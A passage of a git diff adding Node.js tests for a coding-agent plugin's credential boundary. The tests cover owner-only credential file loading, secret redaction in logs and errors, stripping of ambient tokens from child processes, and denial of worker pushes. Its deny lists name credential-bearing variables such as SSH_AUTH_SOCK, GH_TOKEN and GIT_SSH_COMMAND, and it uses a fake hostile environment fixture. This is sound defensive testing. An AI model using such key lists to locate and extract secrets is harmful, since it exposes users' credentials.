CODEX_CO_ENGINEER_MODEL_API_KEY_FILE: override }, + })); + assert.equal(error.code, 'invalid_credential_path', override); + assert.equal(error.message.includes(override), false, override); + assert.equal(error.message.includes(root), false, override); + assert.equal(error.message.includes('muse-from-override'), false); + } + }); +}); + +test('owner denial exact 0600 empty files and in-place identity swap fail content-free', async () => { + await withTempDir('cce-p29-mode-', async (root) => { + const empty = await writeOwnerFile(path.join(root, 'empty'), ''); + const emptyError = await errorOf(() => loadCredentialFile(empty)); + assert.equal(emptyError.code, 'credential_empty'); + assert.equal(emptyError.message.includes(root), false); + + const execOnly = await writeOwnerFile(path.join(root, 'exec'), 'exec-secret-value\n', 0o700); + const execError = await errorOf(() => loadCredentialFile(execOnly)); + assert.equal(execError.code, 'credential_permissions'); + assert.equal(execError.message.includes('exec-secret'), false); + + const owned = await writeOwnerFile(path.join(root, 'owned'), 'owner-secret-value\n'); + const previous = process.geteuid.bind(process); + process.geteuid = () => previous() + 1; + try { + const ownerError = await errorOf(() => loadCredentialFile(owned)); + assert.equal(ownerError.code, 'credential_owner_denied'); + assert.equal(ownerError.message.includes('owner-secret'), false); + assert.equal(ownerError.message.includes(root), false); + } finally { + process.geteuid = previous; + } + + const live = await writeOwnerFile(path.join(root, 'live-swap'), 'first-secret-value\n'); + let seenStat = 0; + const swapped = await errorOf(() => loadCredentialFile(live, { + openFile: async (target, flags) => { + const handle = await open(target, flags); + const inner = handle.stat.bind(handle); + handle.stat = async (options) => { + const metadata = await inner(options); + seenStat += 1; + if (seenStat === 1) { + await writeFile(target, 'second-secret-value-changed\n', { mode: 0o600 }); + } + return metadata; + }; + return handle; + }, + })); + assert.equal(swapped.code, 'credential_file_changed'); + assert.equal(seenStat >= 1, true); + assert.equal(swapped.message.includes('first-secret'), false); + assert.equal(swapped.message.includes('second-secret'), false); + assert.equal(swapped.message.includes(root), false); + }); +}); + +test('exact-value redaction covers lengths 1-3 and 16 KiB splits across chunks events errors and logs', () => { + const previous = process.env.MODEL_API_KEY; + try { + for (const secret of ['a', 'ab', 'xyz']) { + process.env.MODEL_API_KEY = secret; + assert.ok(collectLaneSecrets(process.env).includes(secret)); + const logLine = `OUT:${secret}:END`; + const redacted = redactExactValues(logLine, [secret]); + assert.equal(redacted.includes(secret), false, secret); + assert.equal(redacted.startsWith('OUT:'), true, secret); + assert.equal(redacted.endsWith(':END'), true, secret); + assert.equal(inspectEnvForSecrets({ note: logLine }, [secret]), true); + const event = boundedEvent({ type: 'status', text: logLine }, 'prompt'); + const failure = publicError(new Error(`fail ${secret}`), 'prompt'); + assert.equal(JSON.stringify(event).includes(secret), false, secret); + assert.equal(failure.message.includes(secret), false, secret); + assert.equal(sanitizeText(`stderr ${secret}`, 'prompt').includes(secret), false, secret); + } + + const secret = Array.from({ length: MAX_CREDENTIAL_BYTES }, (_, index) => ( + 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789'[index % 32] + )).join(''); + process.env.MODEL_API_KEY = secret; + const head = secret.slice(0, 8000); + const tail = secret.slice(8000); + const chunk = secret.slice(64, 64 + 4000); + const event = boundedEvent({ + type: 'provider_update', + text: `log:${chunk}:tail`, + nested: { head, tail }, + }, 'prompt'); + const failure = publicError(new Error(`${head}\n${tail}`), 'prompt'); + const serialized = JSON.stringify(event); + assert.equal(serialized.includes(secret.slice(0, 32)), false); + assert.equal(serialized.includes(secret.slice(-32)), false); + assert.equal(serialized.includes(chunk.slice(0, 32)), false); + assert.equal(failure.message.includes(secret.slice(0, 32)), false); + assert.equal(sanitizeText(`log:${chunk}:tail`, 'prompt').includes(chunk.slice(0, 32)), false); + } finally { + if (previous === undefined) delete process.env.MODEL_API_KEY; + else process.env.MODEL_API_KEY = previous; + } +}); diff --git a/plugins/codex-co-engineer/test/r1-credential-boundary.test.mjs b/plugins/codex-co-engineer/test/r1-credential-boundary.test.mjs new file mode 100644 index 0000000..1e43c21 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-credential-boundary.test.mjs @@ -0,0 +1,211 @@ +import assert from 'node:assert/strict'; +import { link, symlink, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; + +import { + CREDENTIAL_BOUNDARY_SCHEMA_ID, + CREDENTIAL_BOUNDARY_VERSION, + CredentialBoundaryError, + DEFAULT_DSH_MODEL, + DSH_OX_MODEL, + MAX_CREDENTIAL_BYTES, + assertCredentialFreeRemote, + collectLaneSecrets, + createCredentialHandoff, + cleanupCredentialHandoff, + consumeCredentialHandoff, + credentialRedactionFragments, + denyWorkerRemoteMutation, + extractCredentialEnv, + inspectArgvForSecrets, + inspectEnvForSecrets, + loadCredentialFile, + materializeProviderEnvironment, + omitCredentialEnv, + projectProviderEnvironment, + redactExactValues, + systemdClientEnvironment, +} from '../mcp/v3/credential-boundary.mjs'; +import { DENIED_OPERATIONS } from '../mcp/v3/git-authority.mjs'; +import { + HOSTILE_ENV, + withTempDir, + writeOwnerFile, +} from './fixtures/r1-credential-boundary-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve().then(action).then( + () => { assert.fail('expected CredentialBoundaryError'); }, + (error) => { + assert.ok(error instanceof CredentialBoundaryError, error?.stack ?? String(error)); + return error; + }, + ); +} + +test('credential boundary is a frozen v1 additive module and not a 4.0.0 major', () => { + assert.equal(CREDENTIAL_BOUNDARY_SCHEMA_ID, 'codex-co-engineer.credential-boundary.v1'); + assert.equal(CREDENTIAL_BOUNDARY_VERSION, 1); + assert.equal(CREDENTIAL_BOUNDARY_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(MAX_CREDENTIAL_BYTES, 16 * 1024); +}); + +test('service projection keeps operational and command keys without ambient secrets', () => { + const service = projectProviderEnvironment({ + source: { + ...HOSTILE_ENV, + CODEX_CO_ENGINEER_GROK_COMMAND: '/usr/bin/grok', + CODEX_CO_ENGINEER_CURSOR_COMMAND: '/usr/bin/cursor-agent', + }, + operation: 'service', + }); + assert.equal(service.PATH, HOSTILE_ENV.PATH); + assert.equal(service.HOME, HOSTILE_ENV.HOME); + assert.equal(service.CODEX_CO_ENGINEER_GROK_COMMAND, '/usr/bin/grok'); + assert.equal(service.GIT_TERMINAL_PROMPT, '0'); + assert.equal(service.XAI_API_KEY, undefined); + assert.equal(service.CURSOR_API_KEY, undefined); + assert.equal(service.SSH_AUTH_SOCK, undefined); + assert.equal(service.GH_TOKEN, undefined); + assert.equal(service.NODE_OPTIONS, undefined); +}); + +test('closed projection strips Git SSH hosting control tokens and key-file paths', () => { + const grok = projectProviderEnvironment({ provider: 'grok', source: HOSTILE_ENV, operation: 'lane' }); + assert.equal(grok.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + assert.equal(grok.PATH, HOSTILE_ENV.PATH); + assert.equal(grok.GIT_TERMINAL_PROMPT, '0'); + assert.equal(grok.GIT_ASKPASS, ''); + for (const key of [ + 'GIT_SSH', 'GIT_SSH_COMMAND', 'SSH_AUTH_SOCK', 'GH_TOKEN', 'GITHUB_TOKEN', + 'GITLAB_TOKEN', 'WORKTREE_BOOTSTRAP_TASK', 'MODEL_API_KEY', 'OPENROUTER_API_KEY', + 'CURSOR_API_KEY', 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', 'CURSOR_API_KEY_FILE', + 'NODE_OPTIONS', + ]) { + assert.equal(Object.hasOwn(grok, key), false, key); + } +}); + +test('Muse Ox Grok and Cursor Cloud routes do not share credentials', async () => { + const muse = await materializeProviderEnvironment({ + provider: 'dsh', source: HOSTILE_ENV, dshModel: DEFAULT_DSH_MODEL, operation: 'lane', + }); + const ox = await materializeProviderEnvironment({ + provider: 'dsh', source: HOSTILE_ENV, dshModel: DSH_OX_MODEL, operation: 'lane', + }); + const grok = await materializeProviderEnvironment({ + provider: 'grok', source: HOSTILE_ENV, operation: 'lane', + }); + const cloud = await materializeProviderEnvironment({ + provider: 'cursor-cloud', source: HOSTILE_ENV, operation: 'lane', + }); + const local = await materializeProviderEnvironment({ + provider: 'cursor-local', source: HOSTILE_ENV, operation: 'lane', + }); + assert.equal(muse.MODEL_API_KEY, HOSTILE_ENV.MODEL_API_KEY); + assert.equal(muse.OPENROUTER_API_KEY, undefined); + assert.equal(ox.OPENROUTER_API_KEY, HOSTILE_ENV.OPENROUTER_API_KEY); + assert.equal(ox.MODEL_API_KEY, undefined); + assert.equal(grok.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + assert.equal(grok.MODEL_API_KEY, undefined); + assert.equal(cloud.CURSOR_API_KEY, HOSTILE_ENV.CURSOR_API_KEY); + assert.equal(cloud.XAI_API_KEY, undefined); + assert.equal(local.CURSOR_API_KEY, undefined); + assert.equal(local.XAI_API_KEY, undefined); +}); + +test('systemd client environment is D-Bus only', () => { + const client = systemdClientEnvironment({ + ...HOSTILE_ENV, + DBUS_SESSION_BUS_ADDRESS: 'unix:path=/run/user/1000/bus', + XDG_RUNTIME_DIR: '/run/user/1000', + XDG_SESSION_ID: '1', + }); + assert.deepEqual(Object.keys(client).sort(), ['DBUS_SESSION_BUS_ADDRESS', 'XDG_RUNTIME_DIR', 'XDG_SESSION_ID']); + assert.equal(inspectEnvForSecrets(client, Object.values(HOSTILE_ENV)), false); +}); + +test('credential file reads require owner-only no-follow regular files', async () => { + await withTempDir('cce-p29-cred-', async (root) => { + const file = await writeOwnerFile(path.join(root, 'key'), 'muse-from-file\n'); + assert.equal(await loadCredentialFile(file), 'muse-from-file'); + + const relative = errorOf(() => loadCredentialFile('relative-key')); + assert.equal((await relative).code, 'invalid_credential_path'); + assert.equal((await relative).message.includes(root), false); + + const linked = path.join(root, 'link-key'); + await symlink(file, linked); + assert.equal((await errorOf(() => loadCredentialFile(linked))).code, 'credential_symlink_denied'); + + const hard = path.join(root, 'hard-key'); + await link(file, hard); + assert.equal((await errorOf(() => loadCredentialFile(hard))).code, 'credential_hardlink_denied'); + + const wide = await writeOwnerFile(path.join(root, 'wide'), 'wide-secret\n', 0o644); + assert.equal((await errorOf(() => loadCredentialFile(wide))).code, 'credential_permissions'); + + const huge = path.join(root, 'huge'); + await writeFile(huge, `${'a'.repeat(MAX_CREDENTIAL_BYTES + 1)}\n`, { mode: 0o600 }); + assert.equal((await errorOf(() => loadCredentialFile(huge))).code, 'credential_too_large'); + }); +}); + +test('handoff round-trip never stores secrets in argv helpers and cleans up', async () => { + const secrets = { MODEL_API_KEY: 'handoff-secret-value' }; + const created = await createCredentialHandoff(secrets); + const argv = ['--setenv=HOME=/tmp', created.path, '--', '/usr/bin/node']; + assert.equal(inspectArgvForSecrets(argv, ['handoff-secret-value']), false); + const consumed = await consumeCredentialHandoff(created.path); + assert.equal(consumed.MODEL_API_KEY, 'handoff-secret-value'); + const second = await cleanupCredentialHandoff(created.path); + assert.equal(second.cleaned, true); + await assert.rejects(() => consumeCredentialHandoff(created.path), (error) => ( + error instanceof CredentialBoundaryError && error.code === 'invalid_credential_file' + )); +}); + +test('exact-value redaction covers 16 KiB credentials split across events', () => { + const secret = Array.from({ length: MAX_CREDENTIAL_BYTES }, (_, index) => ( + 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789'[index % 32] + )).join(''); + assert.equal(secret.length, MAX_CREDENTIAL_BYTES); + const fragments = credentialRedactionFragments(secret); + assert.ok(fragments.includes(secret)); + const chunk = secret.slice(100, 100 + 4000); + const redacted = redactExactValues(`log:${chunk}:tail`, [secret]); + assert.equal(redacted.includes(chunk.slice(0, 32)), false); + assert.equal(redacted.startsWith('log:'), true); + assert.equal(redacted.endsWith(':tail'), true); + const combined = redactExactValues(`${secret.slice(0, 8000)}\n${secret.slice(8000)}`, [secret]); + assert.equal(combined.includes(secret.slice(0, 32)), false); + assert.equal(combined.includes(secret.slice(-32)), false); + assert.ok(collectLaneSecrets({ MODEL_API_KEY: secret }).includes(secret)); +}); + +test('worker remote mutation and push URLs are denied content-free', () => { + for (const operation of DENIED_OPERATIONS) { + const error = (() => { + try { denyWorkerRemoteMutation(operation); } catch (caught) { return caught; } + })(); + assert.equal(error instanceof CredentialBoundaryError, true, operation); + assert.equal(error.code, 'remote_mutation_denied'); + assert.equal(error.message.includes('github'), false); + } + const push = (() => { + try { assertCredentialFreeRemote('https://user:token@github.com/org/repo.git'); } catch (caught) { return caught; } + })(); + assert.equal(push.code, 'push_url_denied'); + assert.equal(push.message.includes('token'), false); + assert.equal(assertCredentialFreeRemote('https://github.com/org/repo.git'), 'https://github.com/org/repo.git'); +}); + +test('omitCredentialEnv removes secret keys before process-argument construction', () => { + const publicEnv = omitCredentialEnv({ HOME: '/tmp/home', PATH: '/bin', MODEL_API_KEY: 'hidden-secret' }); + assert.equal(publicEnv.HOME, '/tmp/home'); + assert.equal(publicEnv.MODEL_API_KEY, undefined); + const extracted = extractCredentialEnv({ HOME: '/tmp/home', MODEL_API_KEY: 'hidden-secret' }); + assert.equal(extracted.MODEL_API_KEY, 'hidden-secret'); + assert.equal(Object.keys(extracted).join(','), 'MODEL_API_KEY'); +}); diff --git a/plugins/codex-co-engineer/test/r1-credential-isolation.test.mjs b/plugins/codex-co-engineer/test/r1-credential-isolation.test.mjs new file mode 100644 index 0000000..e814a03 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-credential-isolation.test.mjs @@ -0,0 +1,515 @@ +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { EventEmitter } from 'node:events'; +import { lstat, mkdir, mkdtemp, readFile, rm } from 'node:fs/promises'; +import os from 'node:os'; +import path from 'node:path'; +import test, { describe } from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { runAcpTask } from '../mcp/v3/acp-worker.mjs'; +import { + CredentialBoundaryError, + createCredentialHandoff, + denyWorkerRemoteMutation, + installClosedProviderTestInjection, + inspectArgvForSecrets, + inspectEnvForSecrets, + projectProviderEnvironment, + recoverStaleCredentialHandoffs, +} from '../mcp/v3/credential-boundary.mjs'; +import { + classifyGitOperationV1, +} from '../mcp/v3/git-authority.mjs'; +import { + launchProcessBoundary, + ProcessBoundaryError, + restoreProcessBoundary, + stopProcessBoundary, +} from '../mcp/v3/process-boundary.mjs'; +import { + composeProviderDriverV1, + describeProviderRegistryV1, + PROVIDER_REGISTRY_SLOTS, +} from '../mcp/v3/provider-registry.mjs'; +import { submitTask } from '../mcp/v3/supervisor.mjs'; +import { createTask } from '../mcp/v3/task-store.mjs'; +import { HOSTILE_ENV } from './fixtures/r1-credential-boundary-fixtures.mjs'; +import { + ASSIGNMENT_ID, + BASE_SHA, + MANIFEST_DIGEST_HEX, + RUN_ID, + operationRequest, +} from './fixtures/r1-git-authority-fixtures.mjs'; + +const SHA = 'a'.repeat(40); +const FAKE_AGENT = fileURLToPath(new URL('./acpx-fake-agent.mjs', import.meta.url)); +const FAKE_ACPX = fileURLToPath(new URL('./fake-acpx.mjs', import.meta.url)); +const HANDOFF_LOADER = fileURLToPath(new URL('../mcp/v3/credential-handoff-loader.mjs', import.meta.url)); +const AMBIENT_SECRET_KEYS = [ + 'SSH_AUTH_SOCK', 'SSH_AGENT_PID', 'GIT_SSH', 'GIT_SSH_COMMAND', 'GH_TOKEN', + 'GITHUB_TOKEN', 'GITLAB_TOKEN', 'WORKTREE_BOOTSTRAP_TASK', 'MODEL_API_KEY', + 'OPENROUTER_API_KEY', 'CURSOR_API_KEY', +]; + +async function withAmbientSecrets(extra, build) { + const assigned = { ...Object.fromEntries(AMBIENT_SECRET_KEYS.map((key) => [key, HOSTILE_ENV[key]])), ...extra }; + const previous = {}; + for (const [key, value] of Object.entries(assigned)) { + previous[key] = Object.hasOwn(process.env, key) ? process.env[key] : undefined; + if (value === undefined) delete process.env[key]; + else process.env[key] = value; + } + try { + return await build(); + } finally { + for (const [key, value] of Object.entries(previous)) { + if (value === undefined) delete process.env[key]; + else process.env[key] = value; + } + } +} + +function collectStdout(child) { + return new Promise((resolve, reject) => { + let text = ''; + child.stdout.on('data', (chunk) => { text += chunk; }); + child.stderr.on('data', () => {}); + child.once('error', reject); + child.once('close', (code) => { + if (code !== 0) reject(new Error(`child exited ${code}: ${text}`)); + else resolve(text); + }); + }); +} + +function fakeChild(exitCode = 0) { + const child = new EventEmitter(); + child.exitCode = null; + child.signalCode = null; + child.kill = () => { child.emit('exit', null, 'SIGTERM'); }; + queueMicrotask(() => { + child.emit('spawn'); + child.exitCode = exitCode; + child.emit('exit', exitCode, null); + }); + return child; +} + +function showAdapter() { + return { + platform: 'linux', + uid: 1000, + execFile: async (_command, args) => { + const unit = args.find((value) => value.startsWith('codex-co-engineer-') && value.endsWith('.service')) + ?? 'codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service'; + const token = unit.slice('codex-co-engineer-'.length, -'.service'.length); + return { stdout: [ + `Id=${unit}`, + `Description=codex-co-engineer-task:${token}`, + 'LoadState=loaded', + 'ActiveState=active', + `ControlGroup=/user.slice/user-1000.slice/user@1000.service/app.slice/${unit}`, + 'KillMode=control-group', + 'InvocationID=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + 'MainPID=4242', + ].join('\n') }; + }, + readFile: async () => 'populated 0\nfrozen 0\n', + sleep: async () => {}, + }; +} + +test('hostile environment and systemd-run argv inspection keeps secrets off the client', async () => { + const calls = []; + const host = { + ...showAdapter(), + spawn: (command, args, options) => { + calls.push({ command, args, options }); + return fakeChild(); + }, + }; + const env = { + ...HOSTILE_ENV, + HOME: '/home/test-user', + }; + const launched = await launchProcessBoundary({ + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: projectProviderEnvironment({ provider: 'grok', source: env, operation: 'lane' }), + stdio: 'ignore', + adapter: host, + }); + assert.equal(calls.length, 1); + const secrets = [ + HOSTILE_ENV.XAI_API_KEY, HOSTILE_ENV.MODEL_API_KEY, HOSTILE_ENV.OPENROUTER_API_KEY, + HOSTILE_ENV.CURSOR_API_KEY, HOSTILE_ENV.GH_TOKEN, HOSTILE_ENV.GIT_SSH_COMMAND, + ]; + assert.equal(inspectArgvForSecrets(calls[0].args, secrets), false); + assert.equal(inspectEnvForSecrets(calls[0].options.env, secrets), false); + assert.equal(calls[0].args.includes('--setenv=XAI_API_KEY=xai-secret-value-abcdef'), false); + assert.equal(calls[0].args.some((entry) => String(entry).includes('credential-handoff-loader.mjs')), true); + assert.equal(calls[0].args.some((entry) => String(entry).startsWith('--setenv=GIT_SSH')), false); + await stopProcessBoundary(launched.handle, { adapter: host, timeoutMs: 100 }); +}); + +test('spawn failure and cancel cleanup remove the credential handoff file', async () => { + const calls = []; + await assert.rejects( + launchProcessBoundary({ + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: { HOME: '/tmp/home', PATH: '/bin', MODEL_API_KEY: 'cleanup-secret-value' }, + stdio: 'ignore', + adapter: { + ...showAdapter(), + spawn: (command, args, options) => { + calls.push({ command, args, options }); + return fakeChild(1); + }, + }, + }), + (error) => error instanceof ProcessBoundaryError && error.code === 'systemd_run_failed', + ); + assert.equal(inspectArgvForSecrets(calls[0].args, ['cleanup-secret-value']), false); + const handoff = calls[0].args.find((entry) => typeof entry === 'string' && entry.endsWith('env.json')); + assert.equal(typeof handoff, 'string'); + await assert.rejects(import('node:fs/promises').then((fs) => fs.lstat(handoff)), (error) => error.code === 'ENOENT'); +}); + +test('supervisor launch inspects a closed grok environment against a hostile parent', async () => { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-p29-supervisor-')); + const repo = path.join(root, 'repo'); + let launched; + try { + await mkdir(repo); + await submitTask({ + task_id: 'p29-grok-isolation', + provider: 'grok', + repo, + prompt: 'do not leak credentials', + workspace_mode: 'direct', + expected_duration_ms: 10_000, + }, { + root, + env: HOSTILE_ENV, + execute: async (_command, args) => { + if (args.includes('--show-toplevel')) return { stdout: `${repo}\n` }; + if (args.includes('--show-current')) return { stdout: 'feature\n' }; + if (args.includes('HEAD')) return { stdout: `${SHA}\n` }; + throw new Error(`unexpected args: ${args.join(' ')}`); + }, + probeBoundary: async () => ({ + ready: true, status: 'prerequisites_ready', provider_started: false, + boundary: 'systemd-user-service-cgroup', + }), + launch: async (request) => { + launched = request; + return { pid: 9101, process_group: 9101, process_start_ticks: '9' }; + }, + }); + assert.equal(launched.env.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + assert.equal(launched.env.GH_TOKEN, undefined); + assert.equal(launched.env.GIT_SSH, undefined); + assert.equal(launched.env.SSH_AUTH_SOCK, undefined); + assert.equal(launched.env.MODEL_API_KEY, undefined); + assert.equal(launched.env.CURSOR_API_KEY, undefined); + assert.equal(launched.env.WORKTREE_BOOTSTRAP_TASK, undefined); + assert.equal(launched.env.CODEX_CO_ENGINEER_MODEL_API_KEY_FILE, undefined); + assert.equal(launched.env.GIT_TERMINAL_PROMPT, '0'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('P23 registry composition and P28 denied operations remain exact', () => { + const inventory = describeProviderRegistryV1(); + assert.deepEqual([...PROVIDER_REGISTRY_SLOTS], ['grok', 'cursor-local', 'cursor-cloud', 'dsh']); + assert.equal(inventory.slots.length, 4); + assert.equal(typeof composeProviderDriverV1, 'function'); + const denied = classifyGitOperationV1(operationRequest({ + operation: 'push', + actor: 'worker', + identity: { + repository_path: '/tmp/cce-r1-authority-repo', + base_sha: BASE_SHA, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + }, + manifest_digest_hex: MANIFEST_DIGEST_HEX, + })); + assert.equal(denied.verdict, 'denied'); + assert.equal(denied.message.includes('/tmp'), false); + assert.throws(() => denyWorkerRemoteMutation('push'), (error) => ( + error instanceof CredentialBoundaryError && error.code === 'remote_mutation_denied' + )); + assert.throws(() => denyWorkerRemoteMutation('create_pr'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('merge'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('rebase'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('tag_create'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('release_create'), (error) => error.code === 'remote_mutation_denied'); +}); + +describe('closed Grok and Cursor Local ACP/service projection', { concurrency: 1 }, () => { +test('cursor-local systemd launch unsets manager secrets and always uses the closed loader', async () => { + const calls = []; + await withAmbientSecrets({}, async () => { + const host = { + ...showAdapter(), + spawn: (command, args, options) => { + calls.push({ command, args, options }); + return fakeChild(); + }, + }; + const launched = await launchProcessBoundary({ + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: projectProviderEnvironment({ provider: 'cursor-local', source: HOSTILE_ENV, operation: 'lane' }), + stdio: 'ignore', + adapter: host, + }); + assert.equal(calls.length, 1); + const unset = calls[0].args.find((entry) => String(entry).startsWith('--property=UnsetEnvironment=')); + assert.equal(typeof unset, 'string'); + assert.equal(unset.includes('SSH_AUTH_SOCK'), true); + assert.equal(unset.includes('GH_TOKEN'), true); + assert.equal(calls[0].args.includes('--setenv=SSH_AUTH_SOCK=/tmp/hostile-agent.sock'), false); + assert.equal(calls[0].args.includes('SSH_AUTH_SOCK=/tmp/hostile-agent.sock'), false); + assert.equal(calls[0].args.includes('/usr/bin/env'), true); + assert.equal(calls[0].args.includes('-i'), true); + assert.equal(calls[0].args.some((entry) => String(entry).includes('credential-handoff-loader.mjs')), true); + assert.equal(inspectArgvForSecrets(calls[0].args, [HOSTILE_ENV.CURSOR_API_KEY, HOSTILE_ENV.XAI_API_KEY, HOSTILE_ENV.GH_TOKEN]), false); + await stopProcessBoundary(launched.handle, { adapter: host, timeoutMs: 100 }); + }); +}); + +test('handoff loader child is a closed projection plus authorized secrets only', async () => { + const created = await createCredentialHandoff({ XAI_API_KEY: HOSTILE_ENV.XAI_API_KEY }); + const child = spawn(process.execPath, [ + HANDOFF_LOADER, created.path, '--', process.execPath, '-e', + 'process.stdout.write(JSON.stringify(process.env))', + ], { + env: (() => { + const env = { + ...HOSTILE_ENV, + PATH: process.env.PATH ?? HOSTILE_ENV.PATH, + HOME: process.env.HOME ?? HOSTILE_ENV.HOME, + }; + delete env.NODE_OPTIONS; + return env; + })(), + stdio: ['ignore', 'pipe', 'pipe'], + }); + const stdout = await collectStdout(child); + const env = JSON.parse(stdout); + assert.equal(env.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + assert.equal(env.PATH, process.env.PATH ?? HOSTILE_ENV.PATH); + for (const key of AMBIENT_SECRET_KEYS) assert.equal(env[key], undefined, key); + assert.equal(env.SSH_AUTH_SOCK, undefined); + assert.equal(env.CURSOR_API_KEY, undefined); + assert.equal(env.MODEL_API_KEY, undefined); + assert.equal(env.CODEX_CO_ENGINEER_CREDENTIAL_HANDOFF, undefined); +}); + +test('supervisor launch inspects a closed cursor-local environment against a hostile parent', async () => { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-p29-cursor-local-')); + const repo = path.join(root, 'repo'); + let launched; + try { + await mkdir(repo); + await submitTask({ + task_id: 'p29-cursor-local-isolation', + provider: 'cursor-local', + repo, + prompt: 'do not leak credentials', + workspace_mode: 'direct', + expected_duration_ms: 10_000, + }, { + root, + env: HOSTILE_ENV, + execute: async (_command, args) => { + if (args.includes('--show-toplevel')) return { stdout: `${repo}\n` }; + if (args.includes('--show-current')) return { stdout: 'feature\n' }; + if (args.includes('HEAD')) return { stdout: `${SHA}\n` }; + throw new Error(`unexpected args: ${args.join(' ')}`); + }, + probeBoundary: async () => ({ + ready: true, status: 'prerequisites_ready', provider_started: false, + boundary: 'systemd-user-service-cgroup', + }), + launch: async (request) => { + launched = request; + return { pid: 9102, process_group: 9102, process_start_ticks: '9' }; + }, + }); + assert.equal(launched.env.CURSOR_API_KEY, undefined); + assert.equal(launched.env.XAI_API_KEY, undefined); + assert.equal(launched.env.GH_TOKEN, undefined); + assert.equal(launched.env.SSH_AUTH_SOCK, undefined); + assert.equal(launched.env.GIT_TERMINAL_PROMPT, '0'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +for (const provider of ['grok', 'cursor-local']) { + test(`${provider} ACP children omit manager and process ambient secrets`, async () => { + await withAmbientSecrets({ + XAI_API_KEY: HOSTILE_ENV.XAI_API_KEY, + FAKE_ACPX_HOSTILE: 'ambient-fake-acpx-secret', + }, async () => { + const root = await mkdtemp(path.join(os.tmpdir(), `co-engineer-p29-acp-${provider}-`)); + const cwd = path.join(root, 'worktree'); + try { + await mkdir(cwd); + await createTask({ + root, + prompt: 'review this repository', + record: { + id: `${provider}-ambient`, + status: 'accepted', + provider, + cwd, + agent_argv: [process.execPath, FAKE_AGENT, '--mode', 'normal'], + timeout_ms: 5_000, + }, + }); + const terminal = await runAcpTask({ root, taskId: `${provider}-ambient` }); + assert.equal(terminal.status, 'completed'); + const observed = JSON.parse(await readFile(path.join(cwd, '.acpx-fake-observed.json'), 'utf8')); + assert.equal(observed.env.SSH_AUTH_SOCK, undefined); + assert.equal(observed.env.GH_TOKEN, undefined); + assert.equal(observed.env.GITHUB_TOKEN, undefined); + assert.equal(observed.env.GIT_SSH, undefined); + assert.equal(observed.env.MODEL_API_KEY, undefined); + assert.equal(observed.env.OPENROUTER_API_KEY, undefined); + assert.equal(observed.env.CURSOR_API_KEY, undefined); + assert.equal(observed.env.WORKTREE_BOOTSTRAP_TASK, undefined); + if (provider === 'grok') { + assert.equal(observed.env.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + } else { + assert.equal(observed.env.XAI_API_KEY, undefined); + } + assert.equal(observed.env.FAKE_ACPX_HOSTILE, undefined); + } finally { + await rm(root, { recursive: true, force: true }); + } + }); + }); +} + +test('restart reconstructs handoff identity and cleans without exposing paths or values', async () => { + const runtime = await mkdtemp(path.join(os.tmpdir(), 'cce-p29-restart-')); + const previousRuntime = process.env.XDG_RUNTIME_DIR; + process.env.XDG_RUNTIME_DIR = runtime; + const calls = []; + const host = { + ...showAdapter(), + spawn: (command, args, options) => { + calls.push({ command, args, options }); + return fakeChild(); + }, + }; + try { + const launched = await launchProcessBoundary({ + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: { HOME: '/home/test-user', PATH: '/bin', MODEL_API_KEY: 'restart-secret-value' }, + stdio: 'ignore', + adapter: host, + }); + const handoff = calls[0].args.find((entry) => typeof entry === 'string' && entry.endsWith('env.json')); + assert.equal(typeof handoff, 'string'); + assert.equal(handoff.startsWith(runtime), true); + assert.equal(JSON.stringify(launched.receipt).includes(handoff), false); + assert.equal(JSON.stringify(launched.receipt).includes('restart-secret-value'), false); + assert.equal(inspectArgvForSecrets(calls[0].args, ['restart-secret-value']), false); + const metadata = await lstat(handoff); + assert.equal(metadata.isFile(), true); + const restored = restoreProcessBoundary(launched.receipt, { adapter: host }); + host.readFile = async () => 'populated 0\nfrozen 0\n'; + await stopProcessBoundary(restored, { adapter: host, timeoutMs: 100 }); + await assert.rejects(lstat(handoff), (error) => error.code === 'ENOENT'); + } finally { + if (previousRuntime === undefined) delete process.env.XDG_RUNTIME_DIR; + else process.env.XDG_RUNTIME_DIR = previousRuntime; + await rm(runtime, { recursive: true, force: true }); + } +}); + +test('stale identity handoffs recover without echoing paths or values', async () => { + const runtime = await mkdtemp(path.join(os.tmpdir(), 'cce-p29-stale-')); + const previousRuntime = process.env.XDG_RUNTIME_DIR; + process.env.XDG_RUNTIME_DIR = runtime; + try { + const created = await createCredentialHandoff( + { MODEL_API_KEY: 'stale-secret-value' }, + { identity: 'deadbeefdeadbeefdeadbeefdeadbeef' }, + ); + await lstat(created.path); + const recovered = await recoverStaleCredentialHandoffs({ directory: runtime }); + assert.equal(recovered.recovered >= 1, true); + await assert.rejects(lstat(created.path), (error) => error.code === 'ENOENT'); + 